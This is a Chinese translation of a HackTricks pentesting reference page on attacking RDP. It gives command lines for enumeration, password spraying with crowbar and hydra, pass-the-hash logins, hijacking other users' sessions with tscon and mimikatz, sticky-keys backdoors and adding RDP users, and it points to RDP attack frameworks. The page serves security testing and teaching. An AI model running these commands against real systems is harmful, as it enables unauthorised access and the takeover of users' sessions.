# 3389 - Pentesting RDP {{#include ../banners/hacktricks-training.md}} ## 基本信息 由微软开发的**远程桌面协议**(**RDP**)旨在通过网络实现计算机之间的图形界面连接。为了建立这样的连接,用户使用**RDP**客户端软件,同时,远程计算机需要运行**RDP**服务器软件。此设置允许无缝控制和访问远程计算机的桌面环境,基本上将其界面带到用户的本地设备上。 **默认端口:** 3389 ``` PORT STATE SERVICE 3389/tcp open ms-wbt-server ``` ## 枚举 ### 自动化 ```bash nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 ``` 它检查可用的加密和DoS漏洞(在不导致服务DoS的情况下),并获取NTLM Windows信息(版本)。 ### [暴力破解](../generic-hacking/brute-force.md#rdp) **小心,您可能会锁定账户** ### **密码喷射** **小心,您可能会锁定账户** ```bash # https://github.com/galkan/crowbar crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123' # hydra hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp ``` ### 使用已知凭据/哈希连接 ```bash rdesktop -u rdesktop -d -u -p xfreerdp [/d:domain] /u: /p: /v: xfreerdp [/d:domain] /u: /pth: /v: #Pass the hash ``` ### 检查已知凭据是否适用于 RDP 服务 rdp_check.py 来自 impacket 让你检查某些凭据是否对 RDP 服务有效: ```bash rdp_check /:@ ``` ## **攻击** ### 会话窃取 通过 **SYSTEM 权限**,您可以访问任何 **用户打开的 RDP 会话**,而无需知道所有者的密码。 **获取打开的会话:** ``` query user ``` **访问所选会话** ```bash tscon /dest: ``` 现在您将进入所选的 RDP 会话,并且您将仅使用 Windows 工具和功能来模拟用户。 **重要**:当您访问一个活动的 RDP 会话时,您将使正在使用它的用户断开连接。 您可以通过进程转储获取密码,但此方法更快,并且可以让您与用户的虚拟桌面进行交互(密码在记事本中而未保存在磁盘上,其他机器上打开的其他 RDP 会话...) #### **Mimikatz** 您也可以使用 mimikatz 来做到这一点: ```bash ts::sessions #Get sessions ts::remote /id:2 #Connect to the session ``` ### Sticky-keys & Utilman 结合此技术与 **stickykeys** 或 **utilman**,您将能够随时访问管理 CMD 和任何 RDP 会话。 您可以使用以下链接搜索已经被这些技术后门化的 RDP:[https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) ### RDP 进程注入 如果来自不同域的某人或具有 **更高权限的用户通过 RDP 登录** 到您是管理员的 PC,您可以 **注入** 您的信标到他的 **RDP 会话进程** 中并以他的身份行动: {{#ref}} ../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md {{#endref}} ### 添加用户到 RDP 组 ```bash net localgroup "Remote Desktop Users" UserLoginName /add ``` ## 自动化工具 - [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) **AutoRDPwn** 是一个用 Powershell 创建的后渗透框架,主要用于自动化对 Microsoft Windows 计算机的 **Shadow** 攻击。此漏洞(被微软列为一个特性)允许远程攻击者 **在未获得受害者同意的情况下查看其桌面**,甚至可以按需控制它,使用操作系统本身的原生工具。 - [**EvilRDP**](https://github.com/skelsec/evilrdp) - 从命令行以自动化方式控制鼠标和键盘 - 从命令行以自动化方式控制剪贴板 - 从客户端生成 SOCKS 代理,通过 RDP 将网络通信引导到目标 - 在目标上执行任意 SHELL 和 PowerShell 命令,而无需上传文件 - 即使在目标上禁用文件传输,也可以上传和下载文件到/从目标 - [**SharpRDP**](https://github.com/0xthirteen/SharpRDP) 此工具允许在受害者的 RDP 中 **无需图形界面** 执行命令。 ## HackTricks 自动命令 ``` Protocol_Name: RDP #Protocol Abbreviation if there is one. Port_Number: 3389 #Comma separated if there is more than one. Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for RDP Note: | Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device. https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html Entry_2: Name: Nmap Description: Nmap with RDP Scripts Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP} ``` {{#include ../banners/hacktricks-training.md}}